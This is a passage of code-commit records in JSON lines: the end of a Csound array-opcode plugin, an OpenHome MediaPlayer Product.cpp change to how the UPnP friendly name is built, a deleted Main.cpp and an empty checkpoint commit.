\"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log2\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log10>>(csound, \"log10\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::log>>(csound, \"log\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::exp>>(csound, \"exp\", \"k[]\", \"k[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sqrt>>(csound, \"sqrt\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cos>>(csound, \"cos\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sin>>(csound, \"sin\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tan>>(csound, \"tan\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::acos>>(csound, \"cosinv\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::asin>>(csound, \"sininv\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::atan>>(csound, \"taninv\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cosh>>(csound, \"cosh\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::sinh>>(csound, \"sinh\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::tanh>>(csound, \"tanh\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp<std::cbrt>>(csound, \"cbrt\", \"i[]\", \"i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp<std::cbrt>>(csound, \"cbrt\", \"k[]\", \"k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::atan2>>(csound, \"taninv\", \"i[]\", \"i[]i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::atan2>>(csound, \"taninv\", \"k[]\", \"k[]k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::pow>>(csound, \"pow\", \"i[]\", \"i[]i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::pow>>(csound, \"pow\", \"k[]\", \"k[]k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::hypot>>(csound, \"hypot\", \"i[]\", \"i[]i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::hypot>>(csound, \"hypot\", \"k[]\", \"k[]k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmod>>(csound, \"fmod\", \"i[]\", \"i[]i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmod>>(csound, \"fmod\", \"k[]\", \"k[]k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmax>>(csound, \"fmax\", \"i[]\", \"i[]i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmax>>(csound, \"fmax\", \"k[]\", \"k[]k[]\", csnd::thread::ik);\n  csnd::plugin<ArrayOp2<std::fmin>>(csound, \"fmin\", \"i[]\", \"i[]i[]\", csnd::thread::i);\n  csnd::plugin<ArrayOp2<std::fmin>>(csound, \"fmin\", \"k[]\", \"k[]k[]\", csnd::thread::ik);\n  return 0;\n}\nPUBLIC int csoundModuleCreate(CSOUND *csound) { return 0; }\nPUBLIC int csoundModuleDestroy(CSOUND *csound) { return 0; }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Product.h\"\n#include <Debug.h>\n\nusing namespace OpenHome;\nusing namespace OpenHome::MediaPlayer;\n\n\/\/ Observable\n\nObservable::Observable()\n{\n}\n\nvoid Observable::Add(IObserver& aObserver)\n{\n\tiObserverList.push_back(&aObserver);\n}\n\nvoid Observable::InformObservers() const\n{\n\tfor (std::vector<IObserver*>::const_iterator it = iObserverList.begin(); it != iObserverList.end(); ++it) {\n\t\t(*it)->ObservableChanged();\n\t}\t\n}\n\n\/\/ Source\n\nSource::Source(const Brx& aSystemName, const Brx& aType, const Brx& aName, TBool aVisible, ILockable& aLockable)\n\t: iSystemName(aSystemName)\n\t, iType(aType)\n\t, iName(aName)\n\t, iVisible(aVisible)\n\t, iLockable(aLockable)\n{\n}\n\nTBool Source::Details(Bwx& aSystemName, Bwx& aType, Bwx& aName)\n{\n\taSystemName.Replace(iSystemName);\n\taType.Replace(iType);\n\tiLockable.Wait();\n\taName.Replace(iName);\n\tTBool visible = iVisible;\n\tiLockable.Signal();\n\treturn (visible);\n}\n\nvoid Source::SetName(const Brx& aValue)\n{\n\tiLockable.Wait();\n\tiName.Replace(aValue);\n\tiLockable.Signal();\n\tInformObservers();\n}\n\nvoid Source::SetVisible(TBool aValue)\n{\n\tiLockable.Wait();\n\tiVisible = aValue;\n\tiLockable.Signal();\n\tInformObservers();\n}\n\n\/\/ Product\n\nProductImpl::ProductImpl(Net::DvDevice& aDevice\n    , IStandbyHandler& aStandbyHandler\n    , ISourceIndexHandler& aSourceIndexHandler\n\t, TBool aStandby\n\t, const TChar* aAttributes\n\t, const TChar* aManufacturerName\n\t, const TChar* aManufacturerInfo\n\t, const TChar* aManufacturerUrl\n\t, const TChar* aManufacturerImageUri\n\t, const TChar* aModelName\n\t, const TChar* aModelInfo\n\t, const TChar* aModelUrl\n\t, const TChar* aModelImageUri\n\t, const TChar* aProductRoom\n\t, const TChar* aProductName\n\t, const TChar* aProductInfo\n\t, const TChar* aProductUrl\n\t, const TChar* aProductImageUri)\n    : DvProviderAvOpenhomeOrgProduct1(aDevice)\n    , iStandbyHandler(aStandbyHandler)\n    , iSourceIndexHandler(aSourceIndexHandler)\n    , iSourceXmlChangeCount(0)\n    , iMutex(\"PROD\")\n{\n    aDevice.SetAttribute(\"Upnp.Domain\", \"av.openhome.org\");\n    aDevice.SetAttribute(\"Upnp.Type\", \"ProductImpl\");\n    aDevice.SetAttribute(\"Upnp.Version\", \"1\");\n\n    Bwh tmp(aProductRoom);\n    tmp.Grow(strlen(aProductName) + strlen(aProductRoom) + 2); \n    tmp.Append(':');\n    tmp.Append(aProductName);\n    tmp.Append('\\0');\n    Brhz friendlyName;\n    tmp.TransferTo(friendlyName);\n    aDevice.SetAttribute(\"Upnp.FriendlyName\", friendlyName.CString());\n\n    aDevice.SetAttribute(\"Upnp.Manufacturer\", aManufacturerName);\n    aDevice.SetAttribute(\"Upnp.ManufacturerUrl\", aManufacturerUrl);\n    aDevice.SetAttribute(\"Upnp.ModelDescription\", aModelInfo);\n    aDevice.SetAttribute(\"Upnp.ModelName\", aModelName);\n    aDevice.SetAttribute(\"Upnp.ModelNumber\", \"\");\n    aDevice.SetAttribute(\"Upnp.ModelUrl\", aModelUrl);\n    aDevice.SetAttribute(\"Upnp.SerialNumber\", \"\");\n    aDevice.SetAttribute(\"Upnp.Upc\", \"\");\n\n    EnableActionManufacturer();\n    EnableActionModel();\n    EnableActionProduct();\n    EnableActionStandby();\n    EnableActionSetStandby();\n    EnableActionSourceCount();\n    EnableActionSourceXml();\n    EnableActionSourceIndex();\n    EnableActionSetSourceIndex();\n    EnableActionSetSourceIndexByName();\n    EnableActionSource();\n    EnableActionAttributes();\n    EnableActionSourceXmlChangeCount();\n    \n    SetPropertyStandby(aStandby);\n    SetPropertyAttributes(Brn(aAttributes));\n    \n    SetPropertyManufacturerName(Brn(aManufacturerName));\n    SetPropertyManufacturerInfo(Brn(aManufacturerInfo));\n    SetPropertyManufacturerUrl(Brn(aManufacturerUrl));\n    SetPropertyManufacturerImageUri(Brn(aManufacturerImageUri));\n    \n    SetPropertyModelName(Brn(aModelName));\n    SetPropertyModelInfo(Brn(aModelInfo));\n    SetPropertyModelUrl(Brn(aModelUrl));\n    SetPropertyModelImageUri(Brn(aModelImageUri));\n    \n    SetPropertyProductRoom(Brn(aProductRoom));\n    SetPropertyProductName(Brn(aProductName));\n    SetPropertyProductInfo(Brn(aProductInfo));\n    SetPropertyProductUrl(Brn(aProductUrl));\n    SetPropertyProductImageUri(Brn(aProductImageUri));\n    \n    SetPropertySourceIndex(0);\n    SetPropertySourceCount(0);\n    SetPropertySourceXml(Brn(\"\"));\n}\n\nTUint ProductImpl::CreateSource(const Brx& aSystemName, const Brx& aType, const Brx& aName, TBool aVisible) \n{\n    MediaPlayer::Source* source = new MediaPlayer::Source(aSystemName, aType, aName, aVisible, *this);\n    iSourceList.push_back(source); \n    TUint count(iSourceList.size() - 1);\n    SetPropertySourceCount(count);\n    return count;\n}\n\nSource& ProductImpl::GetSource(TUint aIndex)\n{\n   ASSERT(aIndex < iSourceList.size());\n   return *(iSourceList[aIndex]); \n}\n\nvoid ProductImpl::UpdateSourceXml()\n{\n    iSourceXml.Replace(\"<SourceList>\");\n\n    Wait();\n\n\tfor (std::vector<MediaPlayer::Source*>::const_iterator i = iSourceList.begin(); i != iSourceList.end(); ++i) {\n        iSourceXml.Append(\"<Source>\");\n\n        \/\/TODO: Xml escape the name\n        iSourceXml.Append(\"<Name>\");\n        iSourceXml.Append((*i)->iName);\n        iSourceXml.Append(\"<\/Name>\");\n\n        iSourceXml.Append(\"<Type>\");\n        iSourceXml.Append((*i)->iType);\n        iSourceXml.Append(\"<\/Type>\");\n\n        iSourceXml.Append(\"<Visible>\");\n        if ((*i)->iVisible) {\n            iSourceXml.Append(\"true\");\n        }\n        else {\n            iSourceXml.Append(\"false\");\n        }\n        iSourceXml.Append(\"<\/Visible>\");\n\n        iSourceXml.Append(\"<\/Source>\");\n    }\n\n    iSourceXml.Append(\"<\/SourceList>\");\n\n    iSourceXmlChangeCount++;\n\n    Signal();\n}\n\n\/\/From IObserver\nvoid ProductImpl::ObservableChanged()\n{\n    UpdateSourceXml();\n}\n\n\/\/From ILockable\nvoid ProductImpl::Wait() const\n{\n    iMutex.Wait();\n}\n\nvoid ProductImpl::Signal() const\n{\n    iMutex.Signal();\n}\n\n\/\/From DvProviderAvOpenhomeOrgProduct1\nvoid ProductImpl::Manufacturer(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aName, Net::IInvocationResponseString& aInfo, Net::IInvocationResponseString& aUrl, Net::IInvocationResponseString& aImageUri)\n{\n\tBrhz name;\n\tBrhz info;\n\tBrhz url;\n\tBrhz image;\n    GetPropertyManufacturerName(name);\n    GetPropertyManufacturerInfo(info);\n    GetPropertyManufacturerUrl(url);\n    GetPropertyManufacturerImageUri(image);\n    aResponse.Start();\n    aName.Write(name);\n    aName.WriteFlush();\n    aInfo.Write(info);\n    aInfo.WriteFlush();\n    aUrl.Write(url);\n    aUrl.WriteFlush();\n\taImageUri.Write(image);\n\taImageUri.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::Model(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aName, Net::IInvocationResponseString& aInfo, Net::IInvocationResponseString& aUrl, Net::IInvocationResponseString& aImageUri)\n{\n\tBrhz name;\n\tBrhz info;\n\tBrhz url;\n\tBrhz image;\n    GetPropertyModelName(name);\n    GetPropertyModelInfo(info);\n    GetPropertyModelUrl(url);\n    GetPropertyModelImageUri(image);\n    aResponse.Start();\n    aName.Write(name);\n    aName.WriteFlush();\n    aInfo.Write(info);\n    aInfo.WriteFlush();\n    aUrl.Write(url);\n    aUrl.WriteFlush();\n\taImageUri.Write(image);\n\taImageUri.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::Product(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aRoom, Net::IInvocationResponseString& aName, Net::IInvocationResponseString& aInfo, Net::IInvocationResponseString& aUrl, Net::IInvocationResponseString& aImageUri)\n{\n\tBrhz room;\n\tBrhz name;\n\tBrhz info;\n\tBrhz url;\n\tBrhz image;\n    GetPropertyProductRoom(room);\n    GetPropertyProductName(name);\n    GetPropertyProductInfo(info);\n    GetPropertyProductUrl(url);\n    GetPropertyProductImageUri(image);\n    aResponse.Start();\n    aRoom.Write(room);\n    aRoom.WriteFlush();\n    aName.Write(name);\n    aName.WriteFlush();\n    aInfo.Write(info);\n    aInfo.WriteFlush();\n    aUrl.Write(url);\n    aUrl.WriteFlush();\n\taImageUri.Write(image);\n\taImageUri.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::Standby(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseBool& aValue)\n{\n\tTBool value;\n    GetPropertyStandby(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\nvoid ProductImpl::SetStandby(Net::IInvocationResponse& aResponse, TUint aVersion, TBool aValue)\n{\n    aResponse.Start();\n    aResponse.End();\n\n    if (SetPropertyStandby(aValue)) {\n    \tiStandbyHandler.SetStandby(aValue);\n    }\n}\n\nvoid ProductImpl::SourceCount(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseUint& aValue)\n{\n\tTUint value;\n    GetPropertySourceCount(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\nvoid ProductImpl::SourceXml(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aValue)\n{\n\tBrhz value;\n    GetPropertySourceXml(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aValue.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::SourceIndex(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseUint& aValue)\n{\n\tTUint value;\n    GetPropertySourceIndex(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\nvoid ProductImpl::SetSourceIndex(Net::IInvocationResponse& aResponse, TUint aVersion, TUint aValue)\n{\n\tTUint count;\n    GetPropertySourceCount(count);\n\tif (aValue < count) {\n\t    aResponse.Start();\n\t    aResponse.End();\n\t    if (SetPropertySourceIndex(aValue)) {\n\t    \tiSourceIndexHandler.SetSourceIndex(aValue);\n\t    }\n\t}\n\telse {\n\t\taResponse.Error(802, Brn(\"Source index out of range\"));\n\t}\n}\n\nvoid ProductImpl::SetSourceIndexByName(Net::IInvocationResponse& aResponse, TUint aVersion, const Brx& aValue)\n{\n}\n\nvoid ProductImpl::Source(Net::IInvocationResponse& aResponse, TUint aVersion, TUint aIndex, Net::IInvocationResponseString& aSystemName, Net::IInvocationResponseString& aType, Net::IInvocationResponseString& aName, Net::IInvocationResponseBool& aVisible)\n{\n\tTUint count;\n    GetPropertySourceCount(count);\n\tif (aIndex < count) {\n\t\tclass Source* source = iSourceList[aIndex];\n\t    aResponse.Start();\n\t    aSystemName.Write(source->iSystemName);\n\t    aSystemName.WriteFlush();\n\t    aType.Write(source->iType);\n\t    aType.WriteFlush();\n\t    aName.Write(source->iName);\n\t    aName.WriteFlush();\n\t    aVisible.Write(source->iVisible);\n\t    aResponse.End();\n\t}\n\telse {\n\t\taResponse.Error(802, Brn(\"Source index out of range\"));\n\t}\n}\n\nvoid ProductImpl::Attributes(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aValue)\n{\n\tBrhz value;\n    GetPropertyAttributes(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aValue.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::SourceXmlChangeCount(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseUint& aValue)\n{\n\tiMutex.Wait();\n\tTUint value = iSourceXmlChangeCount;\n\tiMutex.Signal();\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\n\n<commit_msg>Minor changes to string manipulation<commit_after>#include \"Product.h\"\n#include <Debug.h>\n\nusing namespace OpenHome;\nusing namespace OpenHome::MediaPlayer;\n\n\/\/ Observable\n\nObservable::Observable()\n{\n}\n\nvoid Observable::Add(IObserver& aObserver)\n{\n\tiObserverList.push_back(&aObserver);\n}\n\nvoid Observable::InformObservers() const\n{\n\tfor (std::vector<IObserver*>::const_iterator it = iObserverList.begin(); it != iObserverList.end(); ++it) {\n\t\t(*it)->ObservableChanged();\n\t}\t\n}\n\n\/\/ Source\n\nSource::Source(const Brx& aSystemName, const Brx& aType, const Brx& aName, TBool aVisible, ILockable& aLockable)\n\t: iSystemName(aSystemName)\n\t, iType(aType)\n\t, iName(aName)\n\t, iVisible(aVisible)\n\t, iLockable(aLockable)\n{\n}\n\nTBool Source::Details(Bwx& aSystemName, Bwx& aType, Bwx& aName)\n{\n\taSystemName.Replace(iSystemName);\n\taType.Replace(iType);\n\tiLockable.Wait();\n\taName.Replace(iName);\n\tTBool visible = iVisible;\n\tiLockable.Signal();\n\treturn (visible);\n}\n\nvoid Source::SetName(const Brx& aValue)\n{\n\tiLockable.Wait();\n\tiName.Replace(aValue);\n\tiLockable.Signal();\n\tInformObservers();\n}\n\nvoid Source::SetVisible(TBool aValue)\n{\n\tiLockable.Wait();\n\tiVisible = aValue;\n\tiLockable.Signal();\n\tInformObservers();\n}\n\n\/\/ Product\n\nProductImpl::ProductImpl(Net::DvDevice& aDevice\n    , IStandbyHandler& aStandbyHandler\n    , ISourceIndexHandler& aSourceIndexHandler\n\t, TBool aStandby\n\t, const TChar* aAttributes\n\t, const TChar* aManufacturerName\n\t, const TChar* aManufacturerInfo\n\t, const TChar* aManufacturerUrl\n\t, const TChar* aManufacturerImageUri\n\t, const TChar* aModelName\n\t, const TChar* aModelInfo\n\t, const TChar* aModelUrl\n\t, const TChar* aModelImageUri\n\t, const TChar* aProductRoom\n\t, const TChar* aProductName\n\t, const TChar* aProductInfo\n\t, const TChar* aProductUrl\n\t, const TChar* aProductImageUri)\n    : DvProviderAvOpenhomeOrgProduct1(aDevice)\n    , iStandbyHandler(aStandbyHandler)\n    , iSourceIndexHandler(aSourceIndexHandler)\n    , iSourceXmlChangeCount(0)\n    , iMutex(\"PROD\")\n{\n    aDevice.SetAttribute(\"Upnp.Domain\", \"av.openhome.org\");\n    aDevice.SetAttribute(\"Upnp.Type\", \"ProductImpl\");\n    aDevice.SetAttribute(\"Upnp.Version\", \"1\");\n\n    Bwh tmp(strlen(aProductName) + strlen(aProductRoom) + 1);\n    tmp.Append(aProductRoom);\n    tmp.Append(':');\n    tmp.Append(aProductName);\n    Brhz friendlyName;\n    tmp.TransferTo(friendlyName);\n    aDevice.SetAttribute(\"Upnp.FriendlyName\", friendlyName.CString());\n\n    aDevice.SetAttribute(\"Upnp.Manufacturer\", aManufacturerName);\n    aDevice.SetAttribute(\"Upnp.ManufacturerUrl\", aManufacturerUrl);\n    aDevice.SetAttribute(\"Upnp.ModelDescription\", aModelInfo);\n    aDevice.SetAttribute(\"Upnp.ModelName\", aModelName);\n    aDevice.SetAttribute(\"Upnp.ModelNumber\", \"\");\n    aDevice.SetAttribute(\"Upnp.ModelUrl\", aModelUrl);\n    aDevice.SetAttribute(\"Upnp.SerialNumber\", \"\");\n    aDevice.SetAttribute(\"Upnp.Upc\", \"\");\n\n    EnableActionManufacturer();\n    EnableActionModel();\n    EnableActionProduct();\n    EnableActionStandby();\n    EnableActionSetStandby();\n    EnableActionSourceCount();\n    EnableActionSourceXml();\n    EnableActionSourceIndex();\n    EnableActionSetSourceIndex();\n    EnableActionSetSourceIndexByName();\n    EnableActionSource();\n    EnableActionAttributes();\n    EnableActionSourceXmlChangeCount();\n    \n    SetPropertyStandby(aStandby);\n    SetPropertyAttributes(Brn(aAttributes));\n    \n    SetPropertyManufacturerName(Brn(aManufacturerName));\n    SetPropertyManufacturerInfo(Brn(aManufacturerInfo));\n    SetPropertyManufacturerUrl(Brn(aManufacturerUrl));\n    SetPropertyManufacturerImageUri(Brn(aManufacturerImageUri));\n    \n    SetPropertyModelName(Brn(aModelName));\n    SetPropertyModelInfo(Brn(aModelInfo));\n    SetPropertyModelUrl(Brn(aModelUrl));\n    SetPropertyModelImageUri(Brn(aModelImageUri));\n    \n    SetPropertyProductRoom(Brn(aProductRoom));\n    SetPropertyProductName(Brn(aProductName));\n    SetPropertyProductInfo(Brn(aProductInfo));\n    SetPropertyProductUrl(Brn(aProductUrl));\n    SetPropertyProductImageUri(Brn(aProductImageUri));\n    \n    SetPropertySourceIndex(0);\n    SetPropertySourceCount(0);\n    SetPropertySourceXml(Brn(\"\"));\n}\n\nTUint ProductImpl::CreateSource(const Brx& aSystemName, const Brx& aType, const Brx& aName, TBool aVisible) \n{\n    MediaPlayer::Source* source = new MediaPlayer::Source(aSystemName, aType, aName, aVisible, *this);\n    iSourceList.push_back(source); \n    TUint count(iSourceList.size() - 1);\n    SetPropertySourceCount(count);\n    return count;\n}\n\nSource& ProductImpl::GetSource(TUint aIndex)\n{\n   ASSERT(aIndex < iSourceList.size());\n   return *(iSourceList[aIndex]); \n}\n\nvoid ProductImpl::UpdateSourceXml()\n{\n    iSourceXml.Replace(\"<SourceList>\");\n\n    Wait();\n\n\tfor (std::vector<MediaPlayer::Source*>::const_iterator i = iSourceList.begin(); i != iSourceList.end(); ++i) {\n        iSourceXml.Append(\"<Source>\");\n\n        \/\/TODO: Xml escape the name\n        iSourceXml.Append(\"<Name>\");\n        iSourceXml.Append((*i)->iName);\n        iSourceXml.Append(\"<\/Name>\");\n\n        iSourceXml.Append(\"<Type>\");\n        iSourceXml.Append((*i)->iType);\n        iSourceXml.Append(\"<\/Type>\");\n\n        iSourceXml.Append(\"<Visible>\");\n        if ((*i)->iVisible) {\n            iSourceXml.Append(\"true\");\n        }\n        else {\n            iSourceXml.Append(\"false\");\n        }\n        iSourceXml.Append(\"<\/Visible>\");\n\n        iSourceXml.Append(\"<\/Source>\");\n    }\n\n    iSourceXml.Append(\"<\/SourceList>\");\n\n    iSourceXmlChangeCount++;\n\n    Signal();\n}\n\n\/\/From IObserver\nvoid ProductImpl::ObservableChanged()\n{\n    UpdateSourceXml();\n}\n\n\/\/From ILockable\nvoid ProductImpl::Wait() const\n{\n    iMutex.Wait();\n}\n\nvoid ProductImpl::Signal() const\n{\n    iMutex.Signal();\n}\n\n\/\/From DvProviderAvOpenhomeOrgProduct1\nvoid ProductImpl::Manufacturer(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aName, Net::IInvocationResponseString& aInfo, Net::IInvocationResponseString& aUrl, Net::IInvocationResponseString& aImageUri)\n{\n\tBrhz name;\n\tBrhz info;\n\tBrhz url;\n\tBrhz image;\n    GetPropertyManufacturerName(name);\n    GetPropertyManufacturerInfo(info);\n    GetPropertyManufacturerUrl(url);\n    GetPropertyManufacturerImageUri(image);\n    aResponse.Start();\n    aName.Write(name);\n    aName.WriteFlush();\n    aInfo.Write(info);\n    aInfo.WriteFlush();\n    aUrl.Write(url);\n    aUrl.WriteFlush();\n\taImageUri.Write(image);\n\taImageUri.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::Model(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aName, Net::IInvocationResponseString& aInfo, Net::IInvocationResponseString& aUrl, Net::IInvocationResponseString& aImageUri)\n{\n\tBrhz name;\n\tBrhz info;\n\tBrhz url;\n\tBrhz image;\n    GetPropertyModelName(name);\n    GetPropertyModelInfo(info);\n    GetPropertyModelUrl(url);\n    GetPropertyModelImageUri(image);\n    aResponse.Start();\n    aName.Write(name);\n    aName.WriteFlush();\n    aInfo.Write(info);\n    aInfo.WriteFlush();\n    aUrl.Write(url);\n    aUrl.WriteFlush();\n\taImageUri.Write(image);\n\taImageUri.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::Product(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aRoom, Net::IInvocationResponseString& aName, Net::IInvocationResponseString& aInfo, Net::IInvocationResponseString& aUrl, Net::IInvocationResponseString& aImageUri)\n{\n\tBrhz room;\n\tBrhz name;\n\tBrhz info;\n\tBrhz url;\n\tBrhz image;\n    GetPropertyProductRoom(room);\n    GetPropertyProductName(name);\n    GetPropertyProductInfo(info);\n    GetPropertyProductUrl(url);\n    GetPropertyProductImageUri(image);\n    aResponse.Start();\n    aRoom.Write(room);\n    aRoom.WriteFlush();\n    aName.Write(name);\n    aName.WriteFlush();\n    aInfo.Write(info);\n    aInfo.WriteFlush();\n    aUrl.Write(url);\n    aUrl.WriteFlush();\n\taImageUri.Write(image);\n\taImageUri.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::Standby(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseBool& aValue)\n{\n\tTBool value;\n    GetPropertyStandby(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\nvoid ProductImpl::SetStandby(Net::IInvocationResponse& aResponse, TUint aVersion, TBool aValue)\n{\n    aResponse.Start();\n    aResponse.End();\n\n    if (SetPropertyStandby(aValue)) {\n    \tiStandbyHandler.SetStandby(aValue);\n    }\n}\n\nvoid ProductImpl::SourceCount(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseUint& aValue)\n{\n\tTUint value;\n    GetPropertySourceCount(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\nvoid ProductImpl::SourceXml(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aValue)\n{\n\tBrhz value;\n    GetPropertySourceXml(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aValue.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::SourceIndex(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseUint& aValue)\n{\n\tTUint value;\n    GetPropertySourceIndex(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\nvoid ProductImpl::SetSourceIndex(Net::IInvocationResponse& aResponse, TUint aVersion, TUint aValue)\n{\n\tTUint count;\n    GetPropertySourceCount(count);\n\tif (aValue < count) {\n\t    aResponse.Start();\n\t    aResponse.End();\n\t    if (SetPropertySourceIndex(aValue)) {\n\t    \tiSourceIndexHandler.SetSourceIndex(aValue);\n\t    }\n\t}\n\telse {\n\t\taResponse.Error(802, Brn(\"Source index out of range\"));\n\t}\n}\n\nvoid ProductImpl::SetSourceIndexByName(Net::IInvocationResponse& aResponse, TUint aVersion, const Brx& aValue)\n{\n}\n\nvoid ProductImpl::Source(Net::IInvocationResponse& aResponse, TUint aVersion, TUint aIndex, Net::IInvocationResponseString& aSystemName, Net::IInvocationResponseString& aType, Net::IInvocationResponseString& aName, Net::IInvocationResponseBool& aVisible)\n{\n\tTUint count;\n    GetPropertySourceCount(count);\n\tif (aIndex < count) {\n\t\tclass Source* source = iSourceList[aIndex];\n\t    aResponse.Start();\n\t    aSystemName.Write(source->iSystemName);\n\t    aSystemName.WriteFlush();\n\t    aType.Write(source->iType);\n\t    aType.WriteFlush();\n\t    aName.Write(source->iName);\n\t    aName.WriteFlush();\n\t    aVisible.Write(source->iVisible);\n\t    aResponse.End();\n\t}\n\telse {\n\t\taResponse.Error(802, Brn(\"Source index out of range\"));\n\t}\n}\n\nvoid ProductImpl::Attributes(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseString& aValue)\n{\n\tBrhz value;\n    GetPropertyAttributes(value);\n    aResponse.Start();\n    aValue.Write(value);\n    aValue.WriteFlush();\n    aResponse.End();\n}\n\nvoid ProductImpl::SourceXmlChangeCount(Net::IInvocationResponse& aResponse, TUint aVersion, Net::IInvocationResponseUint& aValue)\n{\n\tiMutex.Wait();\n\tTUint value = iSourceXmlChangeCount;\n\tiMutex.Signal();\n    aResponse.Start();\n    aValue.Write(value);\n    aResponse.End();\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"ScriptedGraphosGame.h\"\n\nint main()\n{\n\tGraphos::Core::ScriptedGraphosGame game;\n\n\tgame.Run();\n}<commit_msg>Removed old Main.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Check Point<commit_after><|endoftext|>"}
